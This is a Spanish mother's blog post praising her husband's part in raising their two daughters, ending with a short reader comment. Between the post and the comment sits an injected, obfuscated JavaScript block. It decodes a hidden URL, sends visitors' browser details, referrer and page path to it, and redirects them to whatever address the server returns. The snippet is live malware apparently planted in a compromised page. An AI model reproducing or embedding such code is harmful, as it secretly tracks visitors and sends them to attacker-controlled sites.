¿Se acerca el día de la madre y yo escribiendo un post sobre los papás? No, no he perdido la noción del tiempo, sé que estamos a punto de entrar en mayo, que dentro de uno o dos domingos mi hija me despertará para darme un beso y un regalito hecho en el cole por ella misma, pero es una asignatura pendiente que tengo con mi marido.
Este post va dirigido a los padres, a esos actores «secundarios» de este partido que vamos jugando día a día. Ellos siempre están ahí, un poco a la sombra de todo, en ocasiones en un segundo plano o, como yo le digo a mi marido en broma muchas veces, en otra categoría: “Has pasado de jugar en la Champions a hacerlo en Segunda División”, le comento. Y no es que pase de él, como algunas veces me echa en cara medio en broma medio en serio, es que las circunstancias (somos padres de dos niñas y ambos trabajamos fuera de casa) hacen que me vea obligada a relegarle a los puestos bajos de la competición. Pero este post surge también a raíz de una comida con amigos en la que uno de ellos (sí, Carlos, me refiero a ti) me dijo que leía todo lo que escribía, pero que uno de mis últimos artículos, La otra cara de la maternidad, era un poco feminista, algo que me sorprendió, pero que quizás, en cierta medida, tenía algo de razón porque mientras él comentaba eso, mi marido asentía con la cabeza. Y a raíz de este comentario se abrió el debate sobre cómo vivimos nosotras esta etapa de la vida y cómo lo experimentan ellos, y más que hablar de distinciones, yo diría que son formas diferentes de expresar emociones, ni más ni menos.
Creo que el hecho de haber llevado un bebé dentro de ti durante nueves meses hace que la unión que tienes con esa personita sea, no sé si se puede decir mayor, pero sí especial. Hemos sido uno durante ese tiempo y, por momentos, así quieres que continúe durante el resto de tu vida. Por eso te agobias cuando no desayuna un día, te pones de los nervios si no abre la boca en la hora comida y ya te desesperas cuando llega el momento de la merienda y la cosa no mejora. O te comes la cabeza con el dichoso tema de buscar el colegio perfecto, (aviso a las que estáis ahora en pleno proceso, ¡no lo hay!). Y una noche en la cena, cuando los peques están acostados, se lo sueltas y él te responde que ya pasará. Eso no significa que no se preocupe, es más bien que, por suerte, son más prácticos y relativizan mucho más las cosas, pero también le dan vueltas a todo, hasta yo diría que en ocasiones mucho más, pero les toca ejercer ese papel de resolutivos. Y menos mal, porque sino no sé cómo acabaríamos.
A la vez yo digo que son generosos y te otorgan a ti todo el protagonismo en los momentos buenos y malos. E igual que te «cargan» con el tema de comprar tú la ropa de las niñas porque es algo de mujeres, te dan la posibilidad de estar en los momentos más importantes y difíciles con tus peques. Hace un par de semanas operaron a mi hija mayor de vegetaciones, algo sin mucha importancia, pero para mí como si se tratase de una intervención a corazón abierto. Y aquí mi marido me demostró que no solo quiere a su hija, también a su mujer, y cuando dijeron: “Solo puede entrar un adulto con la niña», me cedió el puesto a mí. Y eso que él estaba más nervioso que yo. ¡Mil gracias por este gesto y por estar ahí siempre! Y es que si una cosa tengo clara es que no me imagino la crianza sola y sin la ayuda de mi pareja. Desde aquí toda mi admiración a las madres solteras, bien sea por circunstancias ajenas o por decisión propia. ¡Ole, ole y ole!
Creo que en el paritorio, justo antes de ponerte al bebé en brazos, deberían de hacernos repetir algún juramento tipo al que haces cuando te vas a casar, «en las noches en vela y en las que duerme del tirón; en los momentos de rabietas y en las tardes de risas, todos los días de tu vida hasta que se puedan independizar», y tenerlo colgado en la pared de nuestro dormitorio para que ningún día se nos olvide.
Probablemente después de leer esto, algún padre se enfade, pero no quiero polemizar en absoluto, solo como siempre he dicho, aprovechar este espacio para sacar mis sentimientos y expresar con palabras lo que vivo cada día al lado de mi marido y mis hijas, mi familia. ¡Os quiero! (a todos)var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Lidia muy chulo, y muy real lo vivimos de manera diferente, ellos mucho más relajados